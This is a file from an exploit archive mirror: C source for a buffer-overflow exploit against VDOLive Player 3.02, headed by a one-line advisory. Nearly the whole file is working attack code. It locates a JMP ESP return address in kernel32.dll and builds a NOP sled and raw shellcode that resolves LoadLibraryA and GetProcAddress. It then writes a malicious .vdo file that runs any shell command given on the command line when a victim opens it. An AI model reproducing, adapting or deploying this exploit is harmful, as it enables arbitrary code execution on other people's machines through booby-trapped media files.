exploit-db-mirror/exploits/windows/local/19678.c

// source: https://www.securityfocus.com/bid/872/info

VDOLive Player v3.02 has an unchecked buffer that can allow arbitrary code to be executed if a specially-crafted .vdo file is loaded. 

/*====================================================================
   ex_vdolive.c / VDO Live Player 3.02 32bit exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  ===================================================================
*/

#include    <stdio.h>
#include    <string.h>
#include    <windows.h> 

#define     RETADR          90
#define     CODE1_OFS       102
#define     CODE2_OFS       10
#define     MAXBUF1         180
#define     MAXBUF2         1500
#define     JMPESP_1        0xff
#define     JMPESP_2        0xe4
#define     NOP             0x90
#define     KERNEL_NAME     "kernel32.dll"      

unsigned char exploit_jmping[100]={
0x33,0xDB,0x8B,0x41,0x30,0xB3,0xBB,0x03,
0xC3,0xFF,0xE0,0x00};

unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";


unsigned int search_mem(unsigned char *st,unsigned char *ed,
                unsigned char c1,unsigned char c2)
{
    unsigned char   *p;
    unsigned int    adr;

    for (p=st;p<ed;p++)
        if (*p==c1 && *(p+1)==c2){
            adr=(unsigned int)p;
            if ((adr&0xff)==0) continue;
            if (((adr>>8)&0xff)==0) continue;
            if (((adr>>16)&0xff)==0) continue;
            if (((adr>>24)&0xff)==0) continue;
            return(adr);
        }
    return(0);
}

main(int argc,char *argv[])
{
    unsigned int         i,kp,ip,p1,p2;
    static unsigned char buf1[MAXBUF1],buf2[MAXBUF2],*q;
    FILE                 *fp;
    MEMORY_BASIC_INFORMATION meminfo;
        
    if (argc<2){
        printf("usage: %s FileName Command\n",argv[0]);
        exit(1);
    }
    if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
        printf("Can not find %s\n",KERNEL_NAME);
        exit(1);
    }

    VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION)); 
    for (i=0;i<meminfo.RegionSize;i++){
        ip=kp+i;
        if ( ( ip     &0xff)==0
          || ((ip>>8 )&0xff)==0
          || ((ip>>16)&0xff)==0
          || ((ip>>24)&0xff)==0) continue;
        q=(unsigned char *)ip;
        if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break;
    }
    if (i==meminfo.RegionSize){
        printf("Can not find codes which are used by this exploit.\n");
        exit(1);
    }

    printf("RETADR  : %x\n",ip);
    memset(buf1,NOP,MAXBUF1-1);
    memset(buf2,NOP,MAXBUF2-1);
    buf1[RETADR  ]=ip&0xff;
    buf1[RETADR+1]=(ip>>8)&0xff;
    buf1[RETADR+2]=(ip>>16)&0xff;
    buf1[RETADR+3]=(ip>>24)&0xff;
    strcat(cmdbuf,argv[2]); 
    strncpy(buf1+CODE1_OFS,exploit_jmping,strlen(exploit_jmping));
    p1=(unsigned int)GetProcAddress((HMODULE)kp,"LoadLibraryA");
    p2=(unsigned int)GetProcAddress((HMODULE)kp,"GetProcAddress");
    printf("LoadLibrary Address    : %x\n",p1);
    printf("GetProcAddress Address : %x\n",p2);

    strcat(exploit_code,cmdbuf);
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
    exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
    exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
    exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
    exploit_code[0x41]=strlen(argv[2]);

    memcpy(buf2+CODE2_OFS,exploit_code,strlen(exploit_code));

    strncpy(buf1,"vdo://",6);
    buf1[MAXBUF1]=0;
    buf2[MAXBUF2]=0;
    if ((fp=fopen(argv[1],"w"))==NULL){
        printf("Can not create '%s'\n",argv[1]);
        exit(1);
    }
    fprintf(fp,"%s/%s\n",buf1,buf2);
    printf("File '%s' is created.\n",argv[1]);
    return FALSE;
}